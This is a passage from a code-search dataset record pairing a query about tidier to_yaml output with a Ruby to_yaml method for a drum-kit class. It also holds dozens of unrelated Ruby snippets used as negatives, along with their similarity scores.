return result > 1000000000 ? -1 : result\nend", "def optional?\n !!options[:optional]\n end", "def unique_flag_negative?\n found_unique? ? @flags.first[2] : nil\n end", "def maybe so, maybe: self\n maybe\n end", "def func_none(hash)\n hash.none? {|key, value| value.nil?}\nend", "def zero?()\n #This is a stub, used for indexing\n end", "def or_nil\n get_or_else(nil)\n end", "def optional_data optionals={}\n puts optionals[:some_data]\n puts optionals[:another_data]\n puts optionals[:another_one]\nend", "def suitable_for_none?\n \treturn self.disciplines.empty?\n end", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def two_sum_to_zero?(array)\n # len = array.length - 1\n # len.times do |i|\n # (i + 1).upto(len) do |j|\n # return true if array[i] + array[j] == 0\n # end\n # end\n # false\n nums_hash = {}\n array.each do |el|\n return true if nums_hash[-(el)]\n nums_hash[el] = true\n end\n false\nend", "def m_ar_or_chain_1\n Rows.where(:x || :y)\n end", "def auto_vivify?\n !fast?\n end", "def _optional\n @optional & [*@opts[:extra_fields]].map(&:to_sym)\n end", "def optional(*params)\n @optional = params unless params.empty?\n @optional ||= []\n end", "def optional?\n @default || (@default.nil? && @optional)\n end", "def nil?() end", "def nil?() end", "def optional\n @optional = true\n end", "def has_one(line, opt = {})\n arg = opt.clone\n arg[:at_most] = nil\n arg[:at_least] = nil\n has(line, arg)\n end", "def mem(key)\n nil == find(key)\n end", "def nonzero?() end", "def build_optionals?(opt)\n opt.each do |attr, value|\n return true unless value.blank?\n end\n\n return false\n end", "def _reduce_none(val, _values, _result)\n val[0]\n end", "def my_solution(array)\n hash = {}\n\n array.each do |element|\n hash[element] = 0 if element > 0\n end\n\n (1..array.size).each do |i|\n return i if hash[i].nil?\n end\nend", "def optionalize\n without_values(nil)\n end", "def optional?\n !@required\n end", "def isEmptyOfUC \n\t isempty = true\n for i in 0...@pairs.length do\n for k in 0...@pairs[i].pairsArr.length do\n if @pairs[i].pairsArr[k].isVisited == false\n isempty = false\n return isempty\n end\n end\n end\n end", "def cmp(x)\r\n x2 = []\r\n x.each {|y|\r\n if y !=nil\r\n x2 << y\r\n end\r\n }\r\n return x2\r\nend", "def maybe so, maybe: self\n so\n end", "def maybe(_, f)\n f[]\n end", "def _reduce_none(val, _values)\r\n val[0]\r\nend", "def find(ifnone = nil)\n each { |o| return o if yield(o) }\n ifnone.call if ifnone\n end", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def none_empty?\n !any_empty?\n end", "def none_empty?\n !any_empty?\n end", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def not_null\n bad_boi_points ||=0\n good_boi_points ||=0\n end", "def optionality_implied?\n false\n end", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def fn_or(value)\n result = value.map do |val|\n apply_condition(val)\n end\n if result.to_s.include?(RUNTIME_MODIFIED)\n UNKNOWN_RUNTIME_RESULT\n else\n result.any?\n end\n end", "def my_none?(arr, &prc)\n arr.each do |ele|\n return false if prc.call(ele)\n end\n true\nend", "def opt &blk\r\n build_piece Optional, blk\r\n end", "def maybe\n self\n end", "def solution(arr)\n zeros = 0\n pass_cars = 0\n\n (0...arr.size).each do |idx|\n arr[idx] == 0 ? zeros += 1 : pass_cars += zeros\n\n return -1 if pass_cars > 1000000000\n end\n\n pass_cars\nend", "def find_curious\n z = generate.zip simplify_all\n z.reject! {|x| x.last == nil }\n z.select { |tuple| simplest_form(tuple.first) == simplest_form(tuple.last) && !trivial(tuple.first) }\nend", "def solution(a)\n return nil unless a || a.empty?\n num_hash = {}\n a.each do |num|\n num_hash[num] = 1\n end\n\n 1.upto(a.size + 1) do |item|\n return item if !num_hash.has_key? item \n end\n\nend", "def with_optional_clause?(spec)\n !spec.exclude_clause.nil? || !spec.include_clause.nil?\n end", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def _reduce_none(val, _values, result)\n val[0]\nend", "def reduce_optional(_production, _range, _tokens, _children)\n multiplicity(0, 1)\n end", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def getValue(value)\n return nil if value==nil \n return value\nend", "def empty?\n first.nil?\n end", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def zero?() end", "def zero?() end", "def optional?\n @rule == :optional\n end", "def get_basket(variety)\n basket_with_space = find_basket_with_space()\n basket_with_same_variety = basket_with_space.find { |b| b.apples.first.variety == variety && b.apples.size > 0 }\n if basket_with_same_variety.nil?\n # return some other completely empty basket\n basket_with_space.find { |b| b.apples.size == 0 }\n else\n # return basket with same variety of apples\n basket_with_same_variety\n end\nend", "def head_or_all(arr)\n f, *r = arr\n return f if r.empty?\n arr\nend", "def list_optional\n @optional ||= []\n end", "def first_object(arg1, arg2, arg3)\n arg1 || arg2 || arg3 || nil\nend", "def is_power_of_three(n)\n # Have[n] || false # <-- Way3\n #Power_3.include? n # <-- quicklier in practice\n n == Power_3.bsearch { |i| i-n+1 > 0 } # <-- quicklier in theoretically\n \nend", "def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend", "def player_size_and_nil_check arr\n return arr.present? && (arr.compact.size == num_players)\n end", "def maybe_zeroes(numbers, drop)\n# your codes goes here\n result = nil\n if drop\n result = helper(numbers)\n else\n result = numbers.reduce(:+)\n end\n result\nend" ]
[ "0.5707122", "0.5485201", "0.5262127", "0.51078975", "0.5073516", "0.50569075", "0.504007", "0.50215054", "0.50030905", "0.4978641", "0.49346524", "0.49229994", "0.48666954", "0.48421654", "0.48361006", "0.48277402", "0.48255092", "0.48205838", "0.4816803", "0.48151508", "0.48108947", "0.48102096", "0.48080596", "0.48065564", "0.47870716", "0.47803357", "0.47764567", "0.47580075", "0.47573268", "0.4754884", "0.47545463", "0.47541177", "0.47541177", "0.47363108", "0.47333604", "0.47317928", "0.47275057", "0.47218442", "0.47045982", "0.46945626", "0.4687984", "0.46768576", "0.46746126", "0.4673009", "0.46684265", "0.46675465", "0.4665186", "0.4664552", "0.46604374", "0.46603787", "0.46603787", "0.4644006", "0.4643682", "0.46417278", "0.4635316", "0.46342853", "0.46336836", "0.46297285", "0.46239865", "0.4621627", "0.46207923", "0.46203625", "0.46129408", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46121815", "0.46063057", "0.4603691", "0.45996016", "0.45978495", "0.4594553", "0.45928195", "0.45928195", "0.45925847", "0.45842123", "0.45814842", "0.45751324", "0.45701474", "0.45685145", "0.45681158", "0.45646983", "0.4564346" ]
0.0
-1
Produces nicer looking output than the default version of to_yaml().
def to_yaml(indent_space_count = 0) yaml = "" longest_label_mapping_length = @label_mappings.keys.inject(0) do |max_length, name| (name.to_s.length > max_length) ? name.to_s.length : max_length end if @label_mappings.length > 0 yaml += " " * indent_space_count + "Kit:\n" ljust_amount = longest_label_mapping_length + 1 # The +1 is for the trailing ":" @label_mappings.sort.each do |label, path| yaml += " " * indent_space_count + " - #{(label + ":").ljust(ljust_amount)} #{path}\n" end end return yaml end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_yaml() end", "def to_yaml\n # write yaml\n end", "def to_yaml\n to_h.to_yaml\n end", "def to_yaml\n as_yaml.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_h.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n self.to_h.to_yaml\n end", "def to_yaml\n self.to_h.to_yaml\n end", "def to_s\n @content.to_yaml(:indentation => 4)\n end", "def to_yaml\n to_parsed.to_yaml\n end", "def to_yaml_s\n fail '@key is empty' if \"#{@key}\".empty?\n\n x = \"=== #{@key} ===\\n\"\n x += \"#{(description || 'FIXME: NO DESCRIPTION GIVEN')}\\n\"\n\n # comment every line that describes the item:\n x = x.each_line.map{ |y| \"# #{y}\" }.join\n\n # add yaml (but stripped of frontmatter and first indent)\n # TODO: should we be using SafeYAML? http://danieltao.com/safe_yaml/\n x += { @key => @value }.to_yaml.gsub(/^---\\s*\\n/m, '').gsub(/^ /, '' )\n x += \"\\n\"\n\n if @skip_yaml\n x.gsub( /^/, '### ' )\n else\n x\n end\n end", "def yaml\n config = fetch(@variable, {})\n stringified = if config.respond_to?(:deep_stringify_keys)\n config.deep_stringify_keys\n else\n # TODO: remove when dropping rails 3 support\n # two level stringify for rails 3 compatibility\n config.stringify_keys.each_value(&:stringify_keys!)\n end\n stringified.to_yaml\n end", "def to_yaml\n self.to_h.deep_stringify_keys.compact.to_yaml\n end", "def to_yaml_s(include_auto_warning = false)\n super(false)\n end", "def to_yaml(opts = {})\n return super if defined?(YAML::ENGINE) && !YAML::ENGINE.syck?\n\n YAML.quick_emit(nil, opts) do |out|\n string = to_s\n out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)\n end\n end", "def to_yaml\n require 'yaml'\n self.config.to_hash.to_yaml\n end", "def to_yaml(*opts)\n self.to_hash.to_yaml(*opts)\n end", "def to_yaml\n\t\tYAML::dump self.to_hash\n\tend", "def to_yaml # :nodoc:\n yaml_hash = {}\n yaml_hash[:backtrace] = @hash.key?(:backtrace) ? @hash[:backtrace] :\n DEFAULT_BACKTRACE\n yaml_hash[:benchmark] = @hash.key?(:benchmark) ? @hash[:benchmark] :\n DEFAULT_BENCHMARK\n yaml_hash[:verbose] = @hash.key?(:verbose) ? @hash[:verbose] :\n DEFAULT_VERBOSITY\n\n keys = yaml_hash.keys.map { |key| key.to_s }\n keys << 'debug'\n re = Regexp.union(*keys)\n\n @hash.each do |key, value|\n key = key.to_s\n next if key =~ re\n yaml_hash[key.to_s] = value\n end\n\n yaml_hash.to_yaml\n end", "def to_yaml\n return @data.to_yaml\n end", "def to_yaml(opts = {})\n return super unless defined?(YAML::ENGINE) && YAML::ENGINE.syck?\n\n YAML.quick_emit(nil, opts) do |out|\n string = to_s\n out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)\n end\n end", "def to_yaml(file=nil)\n hsh = to_hash\n string = hsh.to_yaml\n if file\n File.open(file, 'w') {|v| v.print string }\n end\n string\n end", "def to_yaml\n self.original.to_yaml\n end", "def to_yaml(options = {})\n to_a(options).to_yaml\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml\n kitchen_config.to_yaml.gsub(/---[ \\n]/, '')\n end", "def yaml\n @config.to_yaml\n end", "def to_yaml\n dump(:x)\n end", "def to_yaml\n @attributes.to_yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def to_yaml\n longest_track_name_length =\n @tracks.keys.inject(0) do |max_length, name|\n (name.to_s.length > max_length) ? name.to_s.length : max_length\n end\n ljust_amount = longest_track_name_length + 7\n \n yaml = \"#{@name.to_s.capitalize}:\\n\"\n @tracks.keys.sort.each do |track_name|\n yaml += \" - #{track_name}:\".ljust(ljust_amount)\n yaml += \"#{@tracks[track_name].rhythm}\\n\"\n end\n \n return yaml\n end", "def to_yaml(opts_={})\n data_ = marshal_dump\n ::YAML.quick_emit(nil, opts_) do |out_|\n out_.map(taguri, to_yaml_style) do |map_|\n map_.add('format', data_[0])\n if data_[1].kind_of?(::String)\n map_.add('value', data_[1])\n map_.add('parse_params', data_[2]) if data_[2]\n else\n map_.add('fields', data_[1])\n map_.add('unparse_params', data_[2]) if data_[2]\n end\n end\n end\n end", "def to_yaml\n @main.to_yaml\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml(opts={})\n YAML.quick_emit(nil, opts) do |out|\n out.scalar(taguri, to_h, :plain)\n end\n end", "def yaml_dump(val)\n yml = \"\\n\" + YAML.dump(val)\n yml.gsub(/ +\\n/, \"\\n\")\n end", "def to_yaml( opts = {} )\n YAML::quick_emit( self, opts ) do |out|\n out.map( taguri, to_yaml_style ) do |map|\n sort.each do |k, v| #<- Adding sort.\n map.add( k, v )\n end\n end\n end\n end", "def nice_yaml(string)\n YAML.dump(string).gsub(/\\A---\\n/, '')\n end", "def to_yaml\n YAML.dump(to_h)\n rescue => err\n raise ParseError.new(err), err\n end", "def to_yaml_type \n YAML_TYPE\n end", "def to_yaml\n\t\tYAML.dump self.export\n\tend", "def paml(x)\n\n puts(YAML.dump(x))\nend", "def ouput_yaml\n array = Array.new(@size * @size, 0)\n File.open('test_yaml.out', 'w') { |file| file.puts YAML.dump(array) }\n end", "def to_yaml( opts={} )\n\t\trequire 'yaml'\n\t\tYAML.quick_emit( self.object_id, opts ) {|out|\n\t\t\tout.seq( self.class.to_yaml_type ){|seq|\n\t\t\t\tseq.add( self.dirs )\n\t\t\t}\n\t\t}\n\tend", "def to_yml\n YAML.dump(self)\n end", "def to_yaml\n YAML.dump ({\n :name => @name,\n :age => @age,\n :gender => @gender\n })\n end", "def to_yaml(opts = {})\n YAML::quick_emit(self, opts){|out|\n out.map(\"tag:yaml.org,2002:map\") do |map|\n @keys.each{|key|\n map.add(key.to_s, @hash[key])\n }\n end\n }\n end", "def to_yaml\n result = { }\n @result.each{ |nam, infi|\n value = infi.value\n value = value.shift if value.kind_of?(Array) and value.size == 1\n result[nam] = value\n }\n result[:metadata] = metadata\n result = tlog.textfilter.apply(nil, :yaml, result.dup)\n result.to_yaml\n end", "def y(obj)\n puts obj.to_yaml\nend", "def y(obj)\n puts obj.to_yaml\nend", "def to_yaml(opts = {})\n YAML.quick_emit(self.id, opts) {|out| out.scalar(\"tag:hapgoods.com,2010-08-11:#{self.class.name}\", id)}\n end", "def to_yaml(opts = {})\n YAML.dump to_a(opts)\n end", "def to_yaml(opts = {})\n definition.to_yaml(opts)\n end", "def to_yaml(opts = {})\n YAML::dump_stream({'logical' => logical}, {'physical' => physical})\n end", "def encode(value)\n value.to_yaml\n end", "def encode(value)\n value.to_yaml\n end", "def yaml(hash)\n method = hash.respond_to?(:ya2yaml) ? :ya2yaml : :to_yaml\n string = hash.deep_stringify_keys.send(method)\n# string.gsub(\"!ruby/symbol \", \":\").sub(\"---\",\"\").split(\"\\n\").map(&:rstrip).join(\"\\n\").strip\nend", "def to_yaml\n YAML.dump(major: @major, minor: @minor, patch: @patch,\n special: @special, metadata: @metadata)\n end", "def to_yaml()\n @var_set.values.to_yaml\n end", "def to_yaml\n {:drops => drops.collect(&:to_hash)}.to_yaml\n end", "def to_yaml\n classes = self.classes.to_a\n if self.parameters.empty? # otherwise to_yaml prints \"parameters: {}\"\n parameters = nil\n else\n parameters = self.parameters\n end\n ({ 'classes' => classes, 'parameters' => parameters, 'environment' => environment}).to_yaml\n end", "def to_yaml\n\t\tFile.write(\"save.yaml\", YAML.dump({\n\t\t\t:board => @board.board,\n\t\t\t:positions => @board.positions,\n\t\t\t:current_turn => @current_turn,\n\t\t\t:ai_on => @ai_on\n\t\t\t}))\n\tend", "def to_yaml(*args)\n YAML.dump(as_json(*args))\n end", "def inspect\n properties.to_yaml\n end", "def to_yaml\n fields = {\n 'spec' => self.spec_short_name,\n }\n self.fields.each do |k,f|\n fields[k.to_s] = f.get_out_val\n end\n return YAML.dump(fields)\n end", "def to_yaml\n yamlhash = {}\n instance_variables.each do |var|\n yamlhash[var[1..-1]] = instance_variable_get(var) if (var != \"@hdr_data\")\n end\n return yamlhash.to_yaml\n end", "def to_yaml_s\n _value = @value\n @value = highline_question_type.call @value\n x = super\n @value = _value\n x\n end", "def to_yaml(options = {})\n RCAP.attribute_values_to_hash([CAP_VERSION_YAML, self.class::CAP_VERSION],\n [IDENTIFIER_YAML, @identifier],\n [SENDER_YAML, @sender],\n [SENT_YAML, @sent],\n [STATUS_YAML, @status],\n [MSG_TYPE_YAML, @msg_type],\n [SOURCE_YAML, @source],\n [SCOPE_YAML, @scope],\n [RESTRICTION_YAML, @restriction],\n [ADDRESSES_YAML, @addresses],\n [CODES_YAML, @codes],\n [NOTE_YAML, @note],\n [REFERENCES_YAML, @references],\n [INCIDENTS_YAML, @incidents],\n [INFOS_YAML, @infos.map(&:to_yaml_data)]).to_yaml(options)\n end", "def to_s\n {\n 'habitat' => @habitat.to_s,\n 'species' => @species.to_s,\n 'average population' => average_population,\n 'max population' => max_population,\n 'deaths' => deaths,\n 'births' => births,\n 'mortality rate' => (mortality_rate * 100).to_s + \"%\",\n \n }.merge(causes_of_death).to_yaml + \"\\n\"\n\n end", "def to_s\n puts @name\n puts @vcenter.to_yaml\n puts @components.to_yaml\n puts @nodenameconvention.to_yaml\n end", "def serialize \n Base64.encode64(@data.to_yaml) \n end", "def to_yaml_object\n nil\n end", "def to_yaml_object\n nil\n end", "def to_yaml( opts = {} )\n YAML::quick_emit(self.object_id, opts) do |out|\n out.map(taguri) do |map|\n fields_to_serialize.each do |field|\n map.add(field, instance_variable_value(field))\n end\n end\n end\n end", "def to_yaml(arg = {})\n \"subfield: #{name} #{object_id}\".to_yaml(arg)\n end", "def to_yml\n groups = get_groups\n groups = Hash[Array.new(groups.size) { |index| [\"Group #{index + 1}\", groups[index]] }]\n YAML.dump(groups)\n end", "def format_as_yaml\n\t\tobjects = {}\n\t\tself.instance_variables.each do |k|\n\t\t\tobjects[k.to_s.gsub('@','')] = instance_eval(k.to_s)\n\t\tend\n\t\tobjects.delete(\"filename\")\n\t\tobjects.delete(\"previous_file\")\n\t\treturn objects\n\tend", "def to_yaml_s(include_auto_warning = false)\n raise InternalError.new( \"@key is empty for #{self.class}\" ) if \"#{@key}\".empty?\n\n x = \"=== #{@key} ===\\n\"\n x += \"#{(description || 'FIXME: NO DESCRIPTION GIVEN')}\\n\"\n if include_auto_warning && @skip_query && @silent\n x += auto_warning\n end\n\n # comment every line that describes the item:\n x = x.each_line.map{ |y| y.strip.empty? ? \"#\\n\" : \"# #{y}\" }.join\n\n # add yaml tag directive for just the <key,value> pair\n x += pair_to_yaml_tag(@key, @value)\n x += \"\\n\"\n\n if @skip_yaml\n nil\n else\n x\n end\n end", "def serialize()\n data = {\n 'channels' => @channels.values.collect {|c| c.serialize },\n 'users' => @users.values.collect {|u| u.serialize },\n }\n data.to_yaml\n end", "def yaml( *args )\n ::Logging::Layouts::Parseable.yaml(*args)\n end", "def to_yaml_git(opts = {})\n YAML::quick_emit(self, opts) do |out|\n out.map(taguri, to_yaml_style) do |map|\n map.add(\"attributes\", @attributes)\n end\n end\n end", "def to_yaml\n\t\t\t@results.map{|entry| { :vtresult => entry } }.to_yaml\n\t\tend", "def minimal_yaml(prop, spaces)\n [\n \"#{Google::StringUtils.underscore(prop.name)}:\",\n indent(\n [\n 'description:',\n # + 8 to compensate for name + description.\n indent(bullet_lines(prop.description, spaces + 8), 4)\n ], 4\n )\n ]\n end", "def bare_yaml\n return \"\" unless present?\n yaml = to_yaml\n\n # Detect single-line libyaml 0.2.1 scalar and remove trailing newline\n return yaml.sub(/\\A--- ([^\\n]+)\\n\\Z/m, '\\1') if yaml.single_line_ending_in_newline?\n\n yaml.sub(/\\A---[ \\n]/, \"\") # Handle header for multi-line yaml snippets\n .sub(/(\\n\\.\\.\\.\\n)?\\Z/m, \"\") # Handle libyaml 0.1.7 end of stream marker\n end", "def yaml_content() = JSON.parse(content.to_json).to_yaml", "def to_yaml\n post = {}\n post['data'] = post_data\n post['body'] = to_h[post_body].to_s\n YAML.dump(post)\n end", "def yaml_export\n all_tables = {}\n\n all_tables['todos'] = current_user.todos.includes(:tags).load\n all_tables['contexts'] = current_user.contexts.load\n all_tables['projects'] = current_user.projects.load\n\n todo_tag_ids = Tag.find_by_sql(\n \"SELECT DISTINCT tags.id \"+\n \"FROM tags, taggings, todos \"+\n \"WHERE todos.user_id=? \"+\n \"AND tags.id = taggings.tag_id \" +\n \"AND taggings.taggable_id = todos.id \", current_user.id)\n rec_todo_tag_ids = Tag.find_by_sql(\n \"SELECT DISTINCT tags.id \"+\n \"FROM tags, taggings, recurring_todos \"+\n \"WHERE recurring_todos.user_id=? \"+\n \"AND tags.id = taggings.tag_id \" +\n \"AND taggings.taggable_id = recurring_todos.id \", current_user.id)\n tags = Tag.where(\"id IN (?) OR id IN (?)\", todo_tag_ids, rec_todo_tag_ids)\n taggings = Tagging.where(\"tag_id IN (?) OR tag_id IN(?)\", todo_tag_ids, rec_todo_tag_ids)\n\n all_tables['tags'] = tags.load\n all_tables['taggings'] = taggings.load\n all_tables['notes'] = current_user.notes.load\n all_tables['recurring_todos'] = current_user.recurring_todos.load\n\n result = all_tables.to_yaml\n result.gsub!(/\\n/, \"\\r\\n\") # TODO: general functionality for line endings\n send_data(result, :filename => \"tracks_backup.yml\", :type => 'text/plain')\nruby_code_from_view.ruby_code_from_view do |rb_from_view|\n stylesheet_link_tag \"application\", :media => \"all\" \n stylesheet_link_tag \"print\", :media => \"print\" \n javascript_include_tag \"application\" \n csrf_meta_tags \n@source_view\n raw(protect_against_forgery? ? form_authenticity_token.inspect : \"\") \n @tag_name ? @tag_name : \"\" \n @group_view_by ? @group_view_by : \"\" \n default_contexts_for_autocomplete.html_safe rescue '{}' \n default_tags_for_autocomplete.html_safe rescue '{}' \n date_format_for_date_picker \n current_user.prefs.week_starts \n root_url \n if current_user.prefs.refresh != 0 \n current_user.prefs[\"refresh\"].to_i*60000 \n end \n unless controller.controller_name == 'feed' or session['noexpiry'] == \"on\" \nurl_for(:controller => \"login\", :action => \"check_expiry\")\n end \ncheck_deferred_todos_path(:format => 'js')\n generate_i18n_strings \n favicon_link_tag 'favicon.ico' \n favicon_link_tag 'apple-touch-icon.png', :rel => 'apple-touch-icon', :type => 'image/png' \n auto_discovery_link_tag(:rss, {:controller => \"todos\", :action => \"index\", :format => 'rss', :token => \"#{current_user.token}\"}, {:title => t('layouts.next_actions_rss_feed')}) \n search_plugin_path(:format => :xml) \n @page_title \n if @count \n @count \n end \n l(Time.zone.today, :format => current_user.prefs.title_date_format) \n navigation_link(t('layouts.navigation.home'), root_path, {:accesskey => \"t\", :title => t('layouts.navigation.home_title')} ) \n navigation_link(t('layouts.navigation.starred'), tag_path(\"starred\"), :title => t('layouts.navigation.starred_title')) \n navigation_link(t('common.projects'), projects_path, {:accesskey=>\"p\", :title=>t('layouts.navigation.projects_title')} ) \n navigation_link(t('layouts.navigation.tickler'), tickler_path, {:accesskey =>\"k\", :title => t('layouts.navigation.tickler_title')} ) \n t('layouts.navigation.organize') \n navigation_link( t('common.contexts'), contexts_path, {:accesskey=>\"c\", :title=>t('layouts.navigation.contexts_title')} ) \n navigation_link( t('common.notes'), notes_path, {:accesskey => \"o\", :title => t('layouts.navigation.notes_title')} ) \n navigation_link( t('common.review'), review_path, {:accesskey => \"r\", :title => t('layouts.navigation.review_title')} ) \n navigation_link( t('layouts.navigation.recurring_todos'), {:controller => \"recurring_todos\", :action => \"index\"}, :title => t('layouts.navigation.recurring_todos_title')) \n t('layouts.navigation.view') \n navigation_link( t('layouts.navigation.calendar'), calendar_path, :title => t('layouts.navigation.calendar_title')) \n navigation_link( t('layouts.navigation.completed_tasks'), done_overview_path, {:accesskey=>\"d\", :title=>t('layouts.navigation.completed_tasks_title')} ) \n navigation_link( t('layouts.navigation.feeds'), feeds_path, :title => t('layouts.navigation.feeds_title')) \n navigation_link( t('layouts.navigation.stats'), stats_path, :title => t('layouts.navigation.stats_title')) \n link_to(t('layouts.toggle_contexts'), \"#\", {:title => t('layouts.toggle_contexts_title'), :id => \"toggle-contexts-nav\"}) \n link_to(t('layouts.toggle_notes'), \"#\", {:accesskey => \"S\", :title => t('layouts.toggle_notes_title'), :id => \"toggle-notes-nav\"}) \n group_view_by_menu_entry \n t('layouts.navigation.admin') \n navigation_link( t('layouts.navigation.preferences'), preferences_path, {:accesskey => \"u\", :title => t('layouts.navigation.preferences_title')} ) \n navigation_link( t('layouts.navigation.export'), data_path, {:accesskey => \"e\", :title => t('layouts.navigation.export_title')} ) \n navigation_link( t('layouts.navigation.import'), import_data_path, {:accesskey => \"i\", :title => t('layouts.navigation.import_title')} ) \n if current_user.is_admin? \n navigation_link(t('layouts.navigation.manage_users'), users_path, {:accesskey => \"a\", :title => t('layouts.navigation.manage_users_title')} ) \n end \n t('layouts.navigation.help') \n link_to t('layouts.navigation.integrations_'), integrations_path \n link_to t('layouts.navigation.api_docs'), rest_api_docs_path \n navigation_link(image_tag(\"system-search.png\", :size => \"16X16\", :border => 0), search_path, :title => t('layouts.navigation.search')) \n link_to(\"#{t('common.logout')} (#{current_user.display_name}) &raquo;\".html_safe, logout_path) \n \n controller.controller_name \n render_flash \n controller.controller_name \n TRACKS_VERSION \n (link_to(t('layouts.mobile_navigation.full'), todos_path(:format => 'html'))) \n \n\nend\n\n end", "def to_yaml( options = {} )\n RCAP.attribute_values_to_hash( [ CAP_VERSION_YAML, self.class::CAP_VERSION ],\n [ IDENTIFIER_YAML, @identifier ],\n [ SENDER_YAML, @sender ],\n [ SENT_YAML, @sent ],\n [ STATUS_YAML, @status ],\n [ MSG_TYPE_YAML, @msg_type ],\n [ SOURCE_YAML, @source ],\n [ SCOPE_YAML, @scope ],\n [ RESTRICTION_YAML, @restriction ],\n [ ADDRESSES_YAML, @addresses ],\n [ CODES_YAML, @codes ],\n [ NOTE_YAML, @note ],\n [ REFERENCES_YAML, @references ],\n [ INCIDENTS_YAML, @incidents ],\n [ INFOS_YAML, @infos.map( &:to_yaml_data )]).to_yaml( options )\n end", "def gedcom_to_yaml(f)\n yaml = \"---\\n\"\n lines = f.lines\n line = lines.shift\n\n while line\n level, key, val = line.split(\" \", 3).map(&:strip)\n level = level.to_i\n\n yaml << \"#{' ' * level}#{key.inspect}: #{val.inspect if key == 'VALUE'}\\n\"\n\n if val.size.zero? || key == 'VALUE'\n line = lines.shift\n else\n line = \"#{level + 1} VALUE #{val}\"\n end\n end\n yaml\n end", "def to_s\n post_string = YAML.dump(post_data)\n post_string += \"---\\x0D\\x0A\"\n post_string += YAML.load(to_yaml)['body']\n post_string\n end", "def yaml_display(env, \n options = {}, \n colors = DbAgile::Core::Schema::STATUS_TO_COLOR, \n indent = 0)\n env.display(\"---\\nlogical:\")\n logical.yaml_display(env, options, colors, indent + 1)\n env.display(\"\\n---\\nphysical:\")\n physical.yaml_display(env, options, colors, indent + 1)\n end", "def to_pretty\n to_s(:prettyprint => true)\n end", "def to_yaml( options = {} )\n RCAP.attribute_values_to_hash(\n [ CAP_VERSION_YAML, CAP_VERSION ],\n [ IDENTIFIER_YAML, self.identifier ],\n [ SENDER_YAML, self.sender ],\n [ SENT_YAML, self.sent ],\n [ STATUS_YAML, self.status ],\n [ MSG_TYPE_YAML, self.msg_type ],\n [ SOURCE_YAML, self.source ],\n [ SCOPE_YAML, self.scope ],\n [ RESTRICTION_YAML, self.restriction ],\n [ ADDRESSES_YAML, self.addresses ],\n [ CODES_YAML, self.codes ],\n [ NOTE_YAML, self.note ],\n [ REFERENCES_YAML, self.references ],\n [ INCIDENTS_YAML, self.incidents ],\n [ INFOS_YAML, self.infos ]\n ).to_yaml( options )\n end", "def serialize\n YAML::dump(self)\n end" ]
